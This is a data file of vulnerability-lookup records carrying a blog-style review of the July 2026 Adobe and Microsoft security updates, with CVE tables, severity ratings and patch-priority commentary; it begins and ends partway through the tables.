Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:02:20.223118Z"}, {"uuid": "ffbef113-d196-4d57-a4cd-a905e7b6ae14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54989", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  